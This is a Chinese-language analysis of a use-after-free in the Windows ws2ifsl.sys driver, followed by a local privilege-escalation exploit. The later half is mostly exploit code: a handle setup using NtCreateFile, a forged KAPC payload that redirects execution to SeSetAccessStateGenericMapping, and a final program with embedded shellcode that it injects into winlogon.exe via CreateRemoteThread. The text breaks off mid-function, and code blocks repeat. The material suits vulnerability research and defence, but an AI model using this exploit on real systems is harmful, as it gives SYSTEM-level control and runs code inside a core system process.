该漏洞源于 ws2ifsl.sys 驱动程序在处理内存对象时的缺陷,可能导致释放重引用错误。攻击者可以利用该错误,通过精心构造的输入,访问已释放的内存区域,从而执行恶意代码,提升权限。
本文测试环境:

进入驱动的主函数DriverEntry中可以看到,驱动程序首先创建了一个名为\\Device\\WS2IFSL的设备供用户态访问:

驱动程序中实现了多个与用户态交互的函数,如下图所示:

而MajorFunction的下标,实际上对应了Windows内核中的宏定义,对应的字段如下:
IRP_MJ_CREATE与IRP_MJ_CLOSE分别对应了我们在用户态创建文件与关闭文件句柄的请求,需要注意的是对于IRP_MJ_CLOSE来说,只有当我们传入的文件句柄对应的那个内核文件的引用计数为0时,才会真正执行。
由于DispatchCreate对应我们创建文件的函数,而文件句柄这是我们与驱动交互的入口,因此我将从这里开始分析,该函数的实现如图所示:

可以看到,函数会根据SystemBuffer + 0x8的值来判断我们要创建的是ProcessFile还是SocketFile,根据微软文档的结构体定义,其中SystemBuffer实际上对应的是一片用户缓冲区。
在此之后,会将FileObject, mode, SystemBuffer作为参数传递给要执行的函数,而对于参数FileObject来说,当我们用户态获得一个句柄时,内核就会创建对应的FileObject,该结构体可以在Windbg中查看到,结构如下:
其中DeviceObject对应的就是驱动创建的那个设备,也就是\\Device\\WS2IFSL,而FsContext则对应了驱动程序自定义的数据,接下来首先分析CreateProcessFile函数中,主要部分如下:

函数首先根据我们传入的Handle的值,通过ObReferenceObjectByHandle获取到句柄对应的对象,该函数的原型为:
而在此处,由于传入的ObjectType参数为PsThreadType,表示我们期望获取的对象为一个线程对象,当获取成功后会进行判断线程对象是否属于当前进程,如果是的话,则通过ExAllocatePoolWithQuotaTag函数分配一个大小为0x108的内存池,而其中第一个参数为POOL_TYPE,这是一个枚举类型,根据查阅微软的文档,可以知道实际上函数中的512对应的是NonPagedPoolNx,也就是非分页池,其中的Nx代表了权限位为不可执行。
当内存申请成功后,会进行一系列的赋值操作,并且进入InitializeRequestQueue,由于赋的值是用户不可控制的,因此对于大部分值我们不用太过关心,只需要关注在buffer + 0x0处存储了字符串corP,buffer + 0x8存储了当前进程的PID,并且在InitializeRequestQueue的如图所示的位置:

我们可以看到驱动程序将APC对象挂在了buffer->ApcObject的位置,该结构体实际上是我自己恢复的,对应的偏移实际上为buffer+0x30处,而第二个参数则是指明了要把APC挂在哪个线程上,这里的pthread_Object实际就是根据我们前面传入的句柄所获取到的,是用户可控的。
当赋值操作完成后,会将buffer挂在fileObject + 0x18的位置,根据前面给出的结构体定义,我们可以知道该偏移对应的是FsContext。
而对于CreateSocketFile函数,大致与CreateProcessFile的前置逻辑相同,函数如下:

可以看到区别主要存在于赋值不同与ObReferenceObjectByHandle的不同,先看ObReferenceObjectByHandle,根据前面我们给出的函数原型可以知道,此时的ObjectType变为了IoFileObjectType,这代表文件对象类型,如用户空间打开的 文件/设备句柄,那应该传入哪个文件或设备的句柄呢?
我们继续看下面的一段逻辑,首先将Object[0]给了v10,并通过IoGetRelatedDeviceObject来获取与Object[0]相关的是设备,其中DeviceObject这个全局变量对应的实际上就是驱动程序所注册的设备:\\Device\\WS2IFSL,然后取值判断,这里取得值有一点绕,我们拆开来看。
而根据条件判断的内容,驱动期望该指针偏移0处的内容为corP,期望该指针偏移8处的内容为PID,再根据前面CreateProcessFile函数对于赋值的处理,我们可以知道对于ProcessFile的fileObject,偏移0x18实际上对应了FsContext,而*(Fscontext)与*(Fscontext + 0x8)正好对应了字符串corP与进程的PID,因此我们可以知道,要传入的句柄实际上就是ProcessFile对应的句柄。
对于后面的赋值同样不用太过关注,只需要知道buffer + 0x0对于了字符串kcoS,而buffer + 0x10处存放了指向ProcessFile的fileObject的指针。
根据MajorFunction数组的下标的宏定义可以知道,该函数对于了两种请求,分别为IRP_MJ_READ与IRP_MJ_WRITE,也就是对应了读写请求,该函数如下:

从图中我们可以看出,实际上读写请求只对应了SocketFile,而进入函数DoSocketReadWrite之后,我们可以看到:

函数首先将fileObject + 0x18处的值取出,这个偏移不论是对于SocketFile还是ProcessFile来说都是FsContext,而接下来,函数将FsContext作为参数传入了GetSocketProcessReference,该函数如下:

先是与锁相关的操作,而后将FsContext->Processfile_ptr引用计数加1,然后返回了FsContext->Processfile_ptr,而根据前面的分析,我们可以知道这里FsContext->Processfile_ptr指向的是ProcessFile的fileObject,而需要注意的是,在这里引用计数+1的操作也只针对了ProcessFile的fileObject,而并未针对FsContext指向的缓冲区。
接下来在返回了fileObject后,将其作为参数传入了QueueRequest函数:

这里由于我结构体恢复的某些字段可能不太对,导致看着很奇怪,实际上我分析了一下,这里似乎是在将某个节点挂入链表的尾部。
而后执行了SignalRequest:

该函数最重要的一点就是调用了KeInsertQueueApc函数,将APC挂入了我们传入的线程对应的内核线程的APC列表中,并等待执行。
这里要注意的是,一旦APC被挂入了列表,那么即使我们关闭了句柄,也可以通过NtTestAlert等函数来强制执行。
该函数对应的请求是IRP_MJ_CLOSE请求,也就是对应的我们在用户态关闭句柄的操作,但此操作真正的执行时机是当我们传入的句柄的引用计数为0时,该函数如下:

我们可以看见,该函数会根据*(FsContext)的值来选择关闭哪个句柄,我们关注值为corP的情况,假设我们在用户态分别打开了ProcessFile与SocketFile,并用SocketFile进行读写,当我们关闭ProcessFile时,并不会触发DispatchClose,因为根据我们之前的分析,在SocketFile的读写操作中会增加ProcessFile的引用计数(在创建时也会增加引用计数),那么读写完毕后,引用计数减1,由于创建时也增加了引用计数,因此此时引用计数为1,而后我们关闭SocketFile,此时引用计数为0,因此ProcessFile与FsContext被释放,而此时APC已经被挂在了线程的APC队列中,造成了UAF。
至此,漏洞的成因已经基本分析完毕,我们总结一下,个人认为该漏洞的根本原因在于两点:
接下来就是分析该如何进行漏洞利用了。
首先我们思考一下我们可以控制哪些东西,如何进行交互。
对于该漏洞而言,我们可以控制ProcessFile对应的线程对象,也就是说可以控制将APC绑定到哪个线程对象上,而SocketFile实际则是依赖于我们创建的ProcessFile对象。
因此一个基本的交互思路是,我们创建一个ProcessFile与SocketFile,并获取到对应的句柄,但这里需要注意一个关键点,在驱动程序注册设备时,仅仅使用了以下代码:

对于IoCreateDevice来说,DeviceObject 是内核态的设备对象(DEVICE_OBJECT),存在于内核空间,内核里这个对象表示该驱动,但它 本身并没有用户态可访问的名字。因此正常的CreateFile是无法获得到句柄的,而根据bluefrostlab的文章,我们可以用NtCreateFile来获取句柄。
那么此时,我们需要思考如何组织我们要传入的数据(也就是线程的句柄)。
为了传入某个线程句柄,我们首先需要创建一个线程:
然后调用Windows的 CreateThread进行创建:
然后,我们需要创建一个ProcessFile,要传入的参数为hAPCThread1,并且由于我们期望其返回的是一个ProcessFile的句柄,因此定义如下函数:
根据NtCreateFile的函数定义:

我们首先使用如下方法生成一个ObjectAttributes:
而我们的数据都是存放在倒数第二个参数,也就是EaBuffer中的,而EA属性的结构体,在Windows的官方文档中同样能找到记载:
因此我们按照此定义,在我们的代码中定义一个相同的结构体,注意,由于我们是用户态,因此不能直接include对应头文件,所以需要自己定义:

而根据CreateProcessFile与DispatchCreate访问偏移,我们不难得出以下结构:
而观察_FILE_FULL_EA_INFORMATION,不难想到在+0x8的位置正好是name,因此我们可以写出以下代码:
最后,我们只需要使用:
即可创建出句柄。
对于SocketFile也是同理,根据偏移的关系,可以推测出:
因此可以仿造前面的CreateProcessFileHandle写出如下代码:
运行后,发现能成功触发断点:

接下来我们思考如何利用漏洞,根据前面的分析,要完成提权需要五步:
代码实现如下:
测试代码可以看见,当关闭句柄时,SocketHandle触发了DispatchClose操作:

我们观察一下当APC初始化完成后的内存布局:

当我们调用NtTestAlert时,实际上会触发到+0x20处的KernelRoutine,这是一个重要的偏移,我们可以思考劫持该函数指针。
根据Alex Ionescu的文章,我们可以使用Named Pipe去堆喷,从而获取到被我们释放的堆块,然后根据偏移伪造一个KAPC结构体,从而实现控制流劫持。
我们先触发一次NtTestAlert,观察此时寄存器的情况:

可以发现此时第一个参数,也就是rcx指向了我们buffer + 0x30的位置,此位置存放的是KAPC结构,而rdx则指向了0xffffffffffffffff,这里我不知道具体指向的是哪个,但只要是0xffffffffffff就行了,因此可以通过伪造结构来实现提权。
此时,我们可以通过Named Pipe进行堆喷,伪造一个布局,申请到释放的内存后,内存中应该如下:
基于上述布局,通过触发线程APC强制执行,就可以劫持控制流到SeSetAccessStateGenericMapping,最后成功提权:

最终EXP如下:
本人水平有限,如有错误,欢迎师傅们指正。
| 下标 |
宏定义 |
含义 |
代码里的对应 |
| 0 |
IRP_MJ_CREATE |
打开设备/文件 |
DispatchCreate |
| 2 |
IRP_MJ_CLOSE |
关闭设备/文件 |
DispatchClose |
| 3 |
IRP_MJ_READ |
读请求 |
DispatchReadWrite |
| 4 |
IRP_MJ_WRITE |
写请求 |
DispatchReadWrite |
| 14 |
IRP_MJ_DEVICE_CONTROL |
DeviceIoControl 请求(用户态 IOCTL) |
DispatchDeviceControl |
| 18 |
IRP_MJ_CLEANUP |
CloseHandle 或 CancelIo 之类清理操作 |
DispatchCleanup |
| 27 |
IRP_MJ_PNP |
即插即用请求 |
DispatchPnP |
5: kd> dt nt!_FILE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x008 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x010 Vpb : Ptr64 _VPB
+0x018 FsContext : Ptr64 Void
+0x020 FsContext2 : Ptr64 Void
+0x028 SectionObjectPointer : Ptr64 _SECTION_OBJECT_POINTERS
+0x030 PrivateCacheMap : Ptr64 Void
+0x038 FinalStatus : Int4B
+0x040 RelatedFileObject : Ptr64 _FILE_OBJECT
+0x048 LockOperation : UChar
+0x049 DeletePending : UChar
+0x04a ReadAccess : UChar
+0x04b WriteAccess : UChar
+0x04c DeleteAccess : UChar
+0x04d SharedRead : UChar
+0x04e SharedWrite : UChar
+0x04f SharedDelete : UChar
+0x050 Flags : Uint4B
+0x058 FileName : _UNICODE_STRING
+0x068 CurrentByteOffset : _LARGE_INTEGER
+0x070 Waiters : Uint4B
+0x074 Busy : Uint4B
+0x078 LastLock : Ptr64 Void
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : Ptr64 _IO_COMPLETION_CONTEXT
+0x0b8 IrpListLock : Uint8B
+0x0c0 IrpList : _LIST_ENTRY
+0x0d0 FileObjectExtension : Ptr64 Void
5: kd> dt nt!_FILE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x008 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x010 Vpb : Ptr64 _VPB
+0x018 FsContext : Ptr64 Void
+0x020 FsContext2 : Ptr64 Void
+0x028 SectionObjectPointer : Ptr64 _SECTION_OBJECT_POINTERS
+0x030 PrivateCacheMap : Ptr64 Void
+0x038 FinalStatus : Int4B
+0x040 RelatedFileObject : Ptr64 _FILE_OBJECT
+0x048 LockOperation : UChar
+0x049 DeletePending : UChar
+0x04a ReadAccess : UChar
+0x04b WriteAccess : UChar
+0x04c DeleteAccess : UChar
+0x04d SharedRead : UChar
+0x04e SharedWrite : UChar
+0x04f SharedDelete : UChar
+0x050 Flags : Uint4B
+0x058 FileName : _UNICODE_STRING
+0x068 CurrentByteOffset : _LARGE_INTEGER
+0x070 Waiters : Uint4B
+0x074 Busy : Uint4B
+0x078 LastLock : Ptr64 Void
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : Ptr64 _IO_COMPLETION_CONTEXT
+0x0b8 IrpListLock : Uint8B
+0x0c0 IrpList : _LIST_ENTRY
+0x0d0 FileObjectExtension : Ptr64 Void
NTSTATUS ObReferenceObjectByHandle(
[in] HANDLE Handle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_TYPE ObjectType,
[in] KPROCESSOR_MODE AccessMode,
[out] PVOID *Object,
[out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);
NTSTATUS ObReferenceObjectByHandle(
[in] HANDLE Handle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_TYPE ObjectType,
[in] KPROCESSOR_MODE AccessMode,
[out] PVOID *Object,
[out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);
DWORD WINAPI APCThread_1(LPVOID lparam){
SetEvent(sync_for_thread1);
while(1){
if(signal_for_trigger1 == 1){
printf("[+] thread1 triggering vul...\n");
NtTestAlert();
while(1){
sleep(0x1000);
}
}
else{
Sleep(1);
}
}
return 0;
}
DWORD WINAPI APCThread_1(LPVOID lparam){
SetEvent(sync_for_thread1);
while(1){
if(signal_for_trigger1 == 1){
printf("[+] thread1 triggering vul...\n");
NtTestAlert();
while(1){
sleep(0x1000);
}
}
else{
Sleep(1);
}
}
return 0;
}
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
HANDLE CreateProcessFileHandle(HANDLE hThread);
HANDLE CreateProcessFileHandle(HANDLE hThread);
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
SystemBuffer + 0x8 --> name
SystemBuffer + 0x10 --> handle
SystemBuffer + 0x18 --> APCRoutine
SystemBuffer + 0x20 --> CancelRoutine
SystemBuffer + 0x8 --> name
SystemBuffer + 0x10 --> handle
SystemBuffer + 0x18 --> APCRoutine
SystemBuffer + 0x20 --> CancelRoutine
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(ProcessData);
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
ProcessData* eaData = (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
eaData->handle = (void*) hThread;
eaData->unknown1 = (void*) 0x2222222;
eaData->unknown2 = (void*) 0x3333333;
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(ProcessData);
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
ProcessData* eaData = (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
eaData->handle = (void*) hThread;
eaData->unknown1 = (void*) 0x2222222;
eaData->unknown2 = (void*) 0x3333333;
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
SystemBuffer + 0x8 --> name
SystemBuffer + 0x10 --> unknown
SystemBuffer + 0x18 --> ProcessFileHandle
SystemBuffer + 0x8 --> name
SystemBuffer + 0x10 --> unknown
SystemBuffer + 0x18 --> ProcessFileHandle
HANDLE CreateSocketFileHandle(HANDLE hProc){
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SocketData);
RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
eaData->unknown = 0x66666666;
eaData->handle = hProc;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
HANDLE CreateSocketFileHandle(HANDLE hProc){
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SocketData);
RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
eaData->unknown = 0x66666666;
eaData->handle = hProc;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
if (status != STATUS_SUCCESS){
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
CloseHandle(sockHandle);
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
CloseHandle(sockHandle);
*(DWORD64*)(payload + 0x0) = 0x41414141414141;
*(DWORD64*)(payload + 0x8) = 0x12121212;
*(DWORD64*)(payload + 0x10) = Linked_List_Entry;
*(DWORD64*)(payload + 0x18) = Linked_List_Entry;
*(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
*(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x40) = 0x4040404040404040;
*(DWORD64*)(payload + 0x48) = TokenObj;
*(DWORD64*)(payload + 0x0) = 0x41414141414141;
*(DWORD64*)(payload + 0x8) = 0x12121212;
*(DWORD64*)(payload + 0x10) = Linked_List_Entry;
*(DWORD64*)(payload + 0x18) = Linked_List_Entry;
*(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
*(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x40) = 0x4040404040404040;
*(DWORD64*)(payload + 0x48) = TokenObj;
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include<Psapi.h>
#include<profileapi.h>
#pragma comment(lib, "ntdll.lib")
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
#define ERR_LENGTH_MISMATCH 0xc0001
#define ERR_DONT_FIND_TARGET 0xc0002
#define TOKEN_TYPE 0x5
#define PRIV_OFFSET 0x40
HANDLE sync_for_thread1 = 0;
HANDLE sync_for_thread2 = 0;
HANDLE signal_for_LPE = 0;
int signal_for_trigger1 = 0;
int signal_for_trigger2 = 0;
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG key);
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
NtTestAlert_t NtTestAlert = NULL;
NtWriteFile_t NtWriteFile = NULL;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void* Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct PorcessData{
HANDLE handle;
void* unknown1;
void* unknown2;
void* unknown3;
void* unknown4;
}ProcessData;
typedef struct SocketData{
void* unknown;
HANDLE handle;
}SocketData;
DWORD WINAPI APCThread_1(LPVOID lparam){
SetEvent(sync_for_thread1);
while(1){
if(signal_for_trigger1 == 1){
printf("[+] thread1 triggering vul...\n");
NtTestAlert();
while(1){
Sleep(0x1000);
}
}
else{
Sleep(1);
}
}
return 0;
}
void InjectCode(){
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (snapshot == INVALID_HANDLE_VALUE){
printf("[-] CreateToolhelp32Snapshot failed: %x\n", GetLastError());
return;
}
int pid = -1;
if (Process32FirstW(snapshot, &entry)) {
do{
wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID);
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) {
printf("Found pid[%d]\n", entry.th32ProcessID);
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
else{
printf("[-] Process32FirstW failed: %x\n", GetLastError());
}
CloseHandle(snapshot);
if (pid < 0){
printf("[-] Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h){
printf("[-] Could not open process: %x\n", GetLastError());
return;
}
printf("Allocating Shellcode Space...\n");
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer){
printf("[-] VirtualAllocEx failed: %x\n", GetLastError());
CloseHandle(h);
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), NULL)){
printf("[-] WriteProcessMemory failed: %x\n", GetLastError());
VirtualFreeEx(h, buffer, 0, MEM_RELEASE);
CloseHandle(h);
return;
}
HANDLE hthread = CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
if (hthread == INVALID_HANDLE_VALUE){
printf("[-] CreateRemoteThread failed: %x\n", GetLastError());
VirtualFreeEx(h, buffer, 0, MEM_RELEASE);
CloseHandle(h);
return;
}
printf("[+] Shellcode injected, thread created: %p\n", hthread);
}
DWORD WINAPI APCThread_2(LPVOID lparam){
SetEvent(sync_for_thread2);
while(1){
if(signal_for_trigger2 == 1){
printf("[+] thread2 triggering vul...\n");
NtTestAlert();
InjectCode();
SetEvent(signal_for_LPE);
while(1){
Sleep(0x1000);
}
}
else{
Sleep(1);
}
}
return 0;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type) {
PSYSTEM_HANDLE_INFORMATION handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(0x20));
DWORD returnBytes = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, 0x20, &returnBytes);
if (status == STATUS_INFO_LENGTH_MISMATCH) {
printf("[-] Length Mismatch in GetKernelPointer\n");
printf("[+] Taking Second Chance\n");
free(handle_information);
handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(returnBytes));
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, returnBytes, &returnBytes);
if (status == STATUS_INFO_LENGTH_MISMATCH) {
printf("[-] Failed Two Times\n");
return ERR_LENGTH_MISMATCH;
}
}
for (int i = 0; i < handle_information->NumberOfHandles; i++) {
if (handle_information->Handels[i].ProcessId == GetCurrentProcessId() && handle_information->Handels[i].ObjectTypeNumber == type) {
